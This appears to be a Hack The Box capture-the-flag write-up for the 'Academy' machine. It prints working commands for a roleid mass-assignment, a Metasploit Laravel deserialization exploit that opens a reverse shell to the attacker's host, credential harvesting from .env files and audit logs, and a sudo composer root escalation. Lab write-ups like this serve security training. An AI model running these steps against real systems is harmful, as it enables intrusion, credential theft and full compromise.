Academy - Hack The Box

December 7, 2020

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[root:/git/htb/Academy]# nmap -Pn -sCV -n 10.10.10.215 (master✱) Host discovery disabled (-Pn). All addresses will be marked ‘up’ and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-07 11:32 CET Nmap scan report for 10.10.10.215 Host is up (0.043s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA) | 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA) |_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://academy.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

DIRB: - NIKTO: -
Visiting http://10.10.10.215 forwards you to http://academy.htb, add it to /etc/hosts. Create an account (test:test) and login. Looks like an education platform promotion, similar to their shop release when they created the box SwagShop. Looking on the page there’s not much we can do. We are logged in as user egre55 and none of the links seem to go anywhere. Add the username to a file and start to fuzz.

root@nidus:/git/htb/Academy# ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://academy.htb/FUZZ.php -b “PHPSESSID=qotlc86o7lnh9jm51atioq3fbc” ________________

:: Method : GET :: URL : http://academy.htb/FUZZ.php :: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt :: Header : Cookie: PHPSESSID=qotlc86o7lnh9jm51atioq3fbc :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________

.htpasswd [Status: 403, Size: 276, Words: 20, Lines: 10] .htaccess [Status: 403, Size: 276, Words: 20, Lines: 10] admin [Status: 200, Size: 2633, Words: 668, Lines: 142] config [Status: 200, Size: 0, Words: 1, Lines: 1] index [Status: 200, Size: 2117, Words: 890, Lines: 77] login [Status: 200, Size: 2627, Words: 667, Lines: 142] register [Status: 200, Size: 3003, Words: 801, Lines: 149]
After spending some time enumerating the website, I started to investigate register.php, and in the code you can set your roleid.

Change the roleid value from 0 (what I assume is user) to 1 (what I assume is admin), and create a new user.

Try to login with your new admin account (test2:test2) on http://academy.htb/admin.php - SUCCESS!
Logged in as admin we find a to-do list:

Item Status Complete initial set of modules (cry0l1t3 / mrb3n) done Finalize website design done Test all modules done Prepare launch campaign done Separate student and admin roles done Fix issue with dev-staging-01.academy.htb pending

Add dev-staging-01.academy.htb to /etc/hosts and visit the URL.

APP_NAME “Laravel” — snip — APP_KEY “base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=” — snip — DB_DATABASE “homestead” DB_USERNAME “homestead” DB_PASSWORD “secret”

Googling for Laravel vuln one of the first links that pops up is: “PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)”

msf6 > use exploit/unix/http/laravel_token_unserialize_exec msf6 exploit(unix/http/laravel_token_unserialize_exec) > set rhosts academy.htb msf6 exploit(unix/http/laravel_token_unserialize_exec) > set vhost dev-staging-01.academy.htb msf6 exploit(unix/http/laravel_token_unserialize_exec) > set app_key dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= msf6 exploit(unix/http/laravel_token_unserialize_exec) > set lhost 10.10.14.3 msf6 exploit(unix/http/laravel_token_unserialize_exec) > run

[] Started reverse TCP handler on 10.10.14.3:4444 [] Command shell session 1 opened (10.10.14.3:4444 -> 10.10.10.215:51084) at 2020-12-07 12:47:57 +0100 [*] Command shell session 2 opened (10.10.14.3:4444 -> 10.10.10.215:51086) at 2020-12-07 12:47:58 +0100

whoami www-data

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ www-data@academy:/var/www/html/htb-academy-dev-01/public$

www-data@academy:/home$ ls -al ls -al total 32 drwxr-xr-x 8 root root 4096 Aug 10 00:34 . drwxr-xr-x 20 root root 4096 Aug 7 12:07 .. drwxr-xr-x 2 21y4d 21y4d 4096 Aug 10 00:34 21y4d drwxr-xr-x 2 ch4p ch4p 4096 Aug 10 00:34 ch4p drwxr-xr-x 4 cry0l1t3 cry0l1t3 4096 Aug 12 21:58 cry0l1t3 drwxr-xr-x 3 egre55 egre55 4096 Aug 10 23:41 egre55 drwxr-xr-x 2 g0blin g0blin 4096 Aug 10 00:34 g0blin drwxr-xr-x 5 mrb3n mrb3n 4096 Aug 12 22:19 mrb3n
Enumerating the machine we find credentials in /var/www/html/academy/.env

DB_DATABASE=academy DB_USERNAME=dev DB_PASSWORD=mySup3rP4s5w0rd!!

Try the password with previous found usernames.

su cry0l1t3
Password: mySup3rP4s5w0rd!!

$ whoami
whoami
cry0l1t3


python3 -c 'import pty;pty.spawn("/bin/bash")'
cry0l1t3@academy:/var/www/html/academy/public$
cry0l1t3@academy:/var/www/html/academy/public$ cd ~
cry0l1t3@academy:~$ cat user.txt
  b6254e041fcd518b6e09ed6ebb07b3d8

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Upload and run linPEAS.sh

[+] All users & groups uid=0(root) gid=0(root) groups=0(root) uid=1000(egre55) gid=1000(egre55) groups=1000(egre55),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd) uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n) uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm) uid=1003(21y4d) gid=1003(21y4d) groups=1003(21y4d) uid=1004(ch4p) gid=1004(ch4p) groups=1004(ch4p) uid=1005(g0blin) gid=1005(g0blin) groups=1005(g0blin)

Looking at the user and group configuration cry0l1t3 is assigned to adm, together with egre55. Reading about adm I find the following: “adm: Group adm is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group.”

Lucky for us, passwords from users as they use sudo / su on the CLI are stored in clear text, in the audit logs.

Browse all audit logs and grab from TTY to find cli commands. Here we find one line containing the su command.

cry0l1t3@academy:/var/log/audit$ cat * | grep TTY type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm=”su” data=6D7262336E5F41634064336D79210A

Decode the hex-data using xxd [root:/git/htb/Academy]# echo 6D7262336E5F41634064336D79210A | xxd -r -p (master✱) mrb3n_Ac@d3my!

cry0l1t3@academy:/var/log/audit$ su mrb3n Password: mrb3n_Ac@d3my! $ whoami mrb3n

Check is mrb3n can execute any sudo commandos.

$ sudo -l [sudo] password for mrb3n: Matching Defaults entries for mrb3n on academy: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User mrb3n may run the following commands on academy: (ALL) /usr/bin/composer

Look on gtfobins for composer, and there’s a privesc to root. Copy + paste and grab flag.

$ TF=$(mktemp -d) $ echo ‘{“scripts”:{“x”:”/bin/sh -i 0<&3 1>&3 2>&3”}}’ >$TF/composer.json $ sudo composer –working-dir=$TF run-script x

# whoami root # pwd /tmp/tmp.8MLPtosGp5 # cat /root/root.txt 8e76c5ed8f2684789aa970804402a032

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Laravel RCE https://www.exploit-db.com/exploits/47129

System Groups - adm https://wiki.debian.org/SystemGroups

Logging Passwords - audit https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/

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Academy - Hack The Box

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